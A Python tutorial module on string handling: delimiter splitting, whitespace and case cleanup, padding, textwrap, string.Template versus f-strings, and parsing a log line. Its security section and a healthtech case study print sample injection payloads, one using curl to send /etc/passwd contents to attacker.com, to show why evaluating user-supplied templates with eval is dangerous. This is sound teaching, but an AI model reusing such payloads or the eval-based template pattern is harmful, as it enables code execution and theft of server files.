String Manipulation Deep Dive
Parsing messy real-world text, cleaning and normalising data, alignment and padding, textwrap, string.Template vs f-strings, and a full log-line parsing example.
Beyond Indexing, Slicing, and f-strings
Module 04 covered string fundamentals in depth — indexing, slicing, immutability, the core methods, Unicode, encoding, and f-strings. This module assumes all of that is solid ground and does not re-teach it. What it covers instead is the layer above the fundamentals: what you actually do with strings once real, messy data is involved — parsing text into structured pieces, cleaning up the inconsistencies that real-world text always has, formatting output for humans to read, and one genuinely important security distinction that only matters once your program starts handling text it did not write itself.
If Module 04 was about the mechanics of a single string, this module is about strings as data — log lines, CSV-like text, user-submitted form fields, report output. This is also where Python string work starts to overlap meaningfully with the data-parsing skills used throughout data engineering, which is why nearly every example in this module uses text that looks like something a real production system would actually produce.
Splitting on Multiple Delimiters, and a First Look at re.split
Module 04's .split() handles the simple case well — splitting on a single, consistent delimiter. Real-world text is rarely that clean. A single line might use commas in some places and semicolons in others, or mix single and multiple spaces inconsistently.
line = "Denver, CO; 80202"
# .split(",") alone leaves the semicolon-separated part unsplit
parts = line.split(",")
print(parts) # ['Denver', ' CO; 80202']For a genuinely fixed, known set of delimiters, chaining .replace() calls to normalise everything to one delimiter before splitting is a perfectly reasonable, dependency-free approach.
line = "Denver, CO; 80202"
normalized = line.replace(";", ",")
parts = [p.strip() for p in normalized.split(",")]
print(parts) # ['Denver', 'CO', '80202']Once the set of possible delimiters grows, or the pattern is more than a fixed list of literal characters (say, splitting on any run of whitespace, or any combination of commas and semicolons), that is precisely the point where re.split() from the re module becomes the right tool — it splits on a pattern rather than a literal string.
import re
line = "Denver, CO; 80202 99205"
# Split on a comma, semicolon, OR any run of whitespace, in one call
parts = re.split(r"[,;\s]+", line)
parts = [p for p in parts if p] # drop any empty strings left behind
print(parts) # ['Denver', 'CO', '80202', '99205']re.split() as an option when plain .split()/.replace() genuinely cannot express what you need. Full regular expression syntax — character classes, groups, quantifiers, and the rest of the re module — gets its own complete treatment in Module 32, later in this track.Whitespace, Control Characters, and Case Normalisation
Text pulled from files, form submissions, or copy-pasted user input is reliably messier than text you type yourself. Leading/trailing whitespace, stray tab or newline characters buried mid-string, and inconsistent casing are the three most common sources of bugs that look like "the data doesn't match" when the actual problem is invisible formatting.
raw = " \t Denver \n"
print(repr(raw.strip()))
# 'Denver' — .strip() with no argument removes ALL leading/trailing whitespace:
# spaces, tabs (\t), and newlines (\n) — not just literal space characters.
# .strip() can also take an explicit set of characters to remove
messy = "***Denver***"
print(messy.strip("*")) # "Denver"user_input = "Denver " # trailing space, easy to miss
if user_input == "Denver":
print("Match")
else:
print("No match")
# "No match" — the trailing space makes these two strings genuinely unequal
# The fix
if user_input.strip() == "Denver":
print("Match") # "Match"Case is the second most common source of "matching" data that silently fails to match. "Denver" != "denver" — string comparison in Python is always case-sensitive. Whenever you are comparing user-facing text rather than an exact identifier, normalise the case on both sides first.
cities = ["Denver", "Austin", "Portland"]
user_input = "DENVER"
if user_input.lower() in [c.lower() for c in cities]:
print("Found a match") # "Found a match"
else:
print("Not found").lower() does not fully capture (the German ß is the textbook example). For case-insensitive comparison across a wide range of languages, .casefold() is the more thorough option — it behaves like .lower() for plain English but handles these edge cases correctly.Removing genuinely non-printable characters
Occasionally text arrives with actual control characters embedded in it — leftover artifacts from a scraped PDF, a malformed export, or a copy-paste from a terminal. These are invisible when printed but can break downstream parsing or storage.
raw = "Denver\x00\x07 CO" # contains a null byte and a bell character
cleaned = "".join(ch for ch in raw if ch.isprintable() or ch == " ")
print(cleaned) # "Denver CO".ljust(), .rjust(), .center(), .zfill() — Fixed-Width Output
When you need output to line up visually — a plain-text report, a fixed-width export file, a console table — you need every field padded to a consistent width. These four methods exist specifically for that, and they come up constantly any time output needs to look tidy without pulling in a formatting library.
print("Denver".ljust(12) + "|") # "Denver |" — left-aligned, padded with spaces on the right
print("Denver".rjust(12) + "|") # " Denver|" — right-aligned, padded with spaces on the left
print("Denver".center(12) + "|") # " Denver |" — centered, padded on both sides
# All three accept a custom fill character as a second argument
print("Denver".ljust(12, ".") + "|") # "Denver......|"rows = [
("Priya Nair", "Engineering", 118000),
("Wei Zhang", "Engineering", 121000),
("Alex Torres", "Sales", 95000),
]
for name, dept, salary in rows:
print(name.ljust(15) + dept.ljust(14) + str(salary).rjust(8))
# Priya Nair Engineering 118000
# Wei Zhang Engineering 121000
# Alex Torres Sales 95000
# Notice salary is right-justified — numbers conventionally align on the right
# so that the ones/tens/hundreds columns line up vertically, exactly like a spreadsheet.invoice_number = "42"
print(invoice_number.zfill(6)) # "000042"
# Genuinely common for IDs, invoice numbers, and codes that must always be a fixed width
order_id = f"ORD-{str(7).zfill(5)}"
print(order_id) # "ORD-00007"f"{salary:>10,}" right-aligns a number to width 10 and adds thousands separators in one step, something .rjust() alone cannot do.Wrapping Long Text to a Fixed Width
The standard library's textwrap module handles a genuinely fiddly problem correctly: taking a long, unbroken string and wrapping it to a maximum line width, breaking only at word boundaries rather than mid-word — something that is surprisingly easy to get wrong if you try to write it yourself with plain slicing.
import textwrap
message = "The nightly reconciliation job failed because three transactions could not be matched against the payment processor's records."
wrapped_lines = textwrap.wrap(message, width=40)
for line in wrapped_lines:
print(line)
# The nightly reconciliation job failed
# because three transactions could not be
# matched against the payment processor's
# records.
# textwrap.fill() does the same wrapping, but returns one single string
# with newlines already inserted, ready to print directly
print(textwrap.fill(message, width=40))print(textwrap.shorten(message, width=50, placeholder="..."))
# "The nightly reconciliation job failed..."
# Note it truncates at a whole word, not mid-word — unlike message[:50]This comes up constantly in real code that generates human-facing output — CLI tools printing help text or error messages to a terminal of unknown width, email or notification bodies that need to stay readable, or log summaries that must not blow past a fixed column limit.
string.Template vs f-strings — A Real Security Distinction
F-strings are the right tool for the vast majority of string formatting in Python — but they have a property that is easy to forget matters: an f-string evaluates arbitrary Python expressions at the point it is written in your source code. That is completely safe when you write the template yourself. It stops being safe the instant the template text itself comes from somewhere you do not fully control.
# NEVER do this — building an f-string dynamically from user-supplied text
user_supplied_template = "Hello {name}, your balance is {__import__('os').system('echo pwned')}"
# If this string were ever passed to eval() or exec() to be "evaluated as an f-string",
# it would execute the __import__('os').system(...) call — arbitrary code execution.
# f-strings are only safe because YOU wrote them as literal source code —
# the moment the template text itself is untrusted, this danger becomes real.In practice, nobody dynamically eval()s a string as an f-string — but the underlying risk is real whenever your program lets an end user, a config file, or an external system define a message template that your code later fills in with values. For exactly this situation, the standard library provides string.Template, which supports simple $placeholder substitution and nothing else — no expression evaluation, no function calls, no attribute access. It cannot execute code, by design.
from string import Template
# Imagine this template text came from a user-editable notification setting,
# stored in a database, not written by you in source code
user_template = Template("Hello $name, your order $order_id has shipped.")
message = user_template.substitute(name="Maria Gomez", order_id="ORD-1001")
print(message)
# "Hello Maria Gomez, your order ORD-1001 has shipped."
# Attempting to smuggle in an expression does nothing dangerous —
# it's just treated as literal, unrecognised text
sneaky_template = Template("Hello $name, here is a secret: ${__import__('os').system('ls')}")
# This raises a ValueError on unrecognized placeholder syntax, or substitutes
# it as plain text if it doesn't match Template's simple $identifier syntax —
# it never evaluates it as executable Python, unlike an f-string would.string.Template, not an f-string built dynamically from that text.Parsing a Messy Real-World Log Line
This example ties together nearly every technique from this module against one realistic target: a raw log line from a web server, in the kind of loosely-structured format real logging systems actually produce.
log_line = " 2026-08-14T09:14:02Z [ERROR] api-gateway ; user_id=4821 ; message = Payment failed: card DECLINED \n"This single line has almost every real-world text problem this module has covered: leading and trailing whitespace, inconsistent spacing around delimiters, a mix of semicolons and key=value pairs, and a trailing newline. Parsing it into structured data means combining cleaning, splitting, and normalisation in sequence.
line = log_line.strip()
print(repr(line))
# '2026-08-14T09:14:02Z [ERROR] api-gateway ; user_id=4821 ; message = Payment failed: card DECLINED'import re
# The first three fields are separated by runs of whitespace, not a single delimiter
header, rest = re.split(r"\s{2,}", line, maxsplit=1)[0], re.split(r"\s{2,}", line, maxsplit=1)[1]
# Actually cleaner: split the whole line on 2+ spaces first, since that's the consistent boundary
fields = re.split(r"\s{2,}", line)
timestamp, level, service, remainder = fields[0], fields[1], fields[2], fields[3]
level = level.strip("[]") # "[ERROR]" -> "ERROR"
print(timestamp, level, service)
# 2026-08-14T09:14:02Z ERROR api-gateway# remainder is: " ; user_id=4821 ; message = Payment failed: card DECLINED"
parts = [p.strip() for p in remainder.split(";") if p.strip()]
print(parts)
# ['user_id=4821', 'message = Payment failed: card DECLINED']parsed = {}
for part in parts:
key, _, value = part.partition("=")
parsed[key.strip()] = value.strip()
print(parsed)
# {'user_id': '4821', 'message': 'Payment failed: card DECLINED'}.partition("=") is worth calling out — it splits on the first occurrence only, returning a 3-tuple of (before, separator, after). This matters here because the message value itself contains a colon ("Payment failed: card DECLINED") that must be preserved as-is, not accidentally split on. Had this used .split("=") instead and a value happened to contain an = character too, it would have split in the wrong place — .partition() avoids that entirely by only ever splitting once.
def parse_log_line(raw_line):
line = raw_line.strip()
fields = re.split(r"\s{2,}", line)
timestamp, level, service, remainder = fields[0], fields[1].strip("[]"), fields[2], fields[3]
parsed = {"timestamp": timestamp, "level": level, "service": service}
for part in remainder.split(";"):
part = part.strip()
if not part:
continue
key, _, value = part.partition("=")
parsed[key.strip()] = value.strip()
return parsed
result = parse_log_line(log_line)
print(result)
# {'timestamp': '2026-08-14T09:14:02Z', 'level': 'ERROR', 'service': 'api-gateway',
# 'user_id': '4821', 'message': 'Payment failed: card DECLINED'}The result is exactly the flat-dict-per-record shape from Module 13 — this parse_log_line() function is precisely the "normalize once, at the boundary" pattern from that module's Part 07, applied to text instead of nested JSON. Every other function that processes logs downstream can now work with clean dicts and never touch a raw log string again.
An Atlanta Healthtech's Notification Template Incident
An Atlanta healthtech company lets clinic administrators customize the wording of automated appointment-reminder text messages through a settings page — administrators type something like "Hi {patient_name}, your appointment is on {appointment_date}." and the backend fills in the real values before sending.
def build_reminder(template_text, patient_name, appointment_date):
return eval(f"f'{template_text}'")
# The administrator's saved template_text gets evaluated as a live f-string,
# meaning ANY Python expression inside it would actually execute.What the security review finds
This is exactly the danger described in Part 06: template_text is not written by the engineering team as literal source code — it is saved by clinic administrators through a settings page, and a subset of clinic staff accounts have been shared or reused loosely enough that the reviewer treats this as a genuinely exploitable input, not a theoretical risk. A malicious or compromised administrator account could save a template like "{__import__('os').system('curl attacker.com/steal?data=' + open('/etc/passwd').read())}" and have it silently execute on the server the next time any reminder used that template — full arbitrary code execution, from a text field that was only ever supposed to hold a polite message.
The fix
The team replaces the eval()-based f-string trick with string.Template, exactly as covered in Part 06 — administrators now write $patient_name and $appointment_date instead of curly braces, and the substitution can never evaluate anything beyond simple placeholder replacement.
from string import Template
def build_reminder(template_text, patient_name, appointment_date):
template = Template(template_text)
return template.safe_substitute(
patient_name=patient_name,
appointment_date=appointment_date,
)
# Administrators now write templates using $patient_name and $appointment_date.
# safe_substitute(), unlike substitute(), leaves any unrecognized $placeholder
# untouched in the output instead of raising — a good fit for user-authored templates
# where a typo shouldn't crash the whole notification.The broader lesson the team documents for future reviews: any time text that came from outside the codebase — a database field, a form submission, a config value a non-engineer can edit — is treated as a format string or a template, it needs the same scrutiny given here. F-strings, .format(), and especially eval() are for templates you write. string.Template is for templates someone else writes.
Four Misconceptions About String Manipulation
5 Interview Questions — With Complete Answers
String Manipulation Mistakes Beginners Make Constantly
Errors You Will Hit With String Parsing — And Exactly Why
🎯 Key Takeaways
- ✓For delimiters beyond a single fixed string, re.split() splits on a pattern — a light preview of the regex module covered fully in Module 32.
- ✓.strip() removes all leading/trailing whitespace (spaces, tabs, newlines) by default, or an explicit set of characters when given an argument.
- ✓Always normalise case (.lower() or the more thorough .casefold()) and strip whitespace before comparing human-entered text — invisible formatting differences are a constant source of "why doesn't this match" bugs.
- ✓.ljust(), .rjust(), .center(), and .zfill() produce fixed-width, aligned output for reports and IDs; f-string format specifiers handle more advanced formatting like thousands separators.
- ✓textwrap.wrap()/.fill() wrap long text at word boundaries, unlike naive fixed-length slicing, which can cut a word in half.
- ✓F-strings are safe because you write the template as literal source code. string.Template is the safe choice specifically when the template text itself comes from an untrusted source, since it cannot evaluate expressions or execute code.
- ✓.partition(sep) splits only on the first occurrence of a delimiter, returning a reliable 3-tuple — safer than .split(sep) for key=value parsing when the value might itself contain the delimiter.
- ✓Real-world text parsing is rarely one clean step — it is a short, deliberate sequence of cleaning, splitting, and normalising, each handling one specific kind of messiness.
What comes next
Module 15 moves from text you already have in memory to text (and binary data) that lives on disk — file handles, context managers, read/write modes, and the mistakes that cause silent data loss.
Module 15 → Reading & Writing FilesDiscussion
0Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.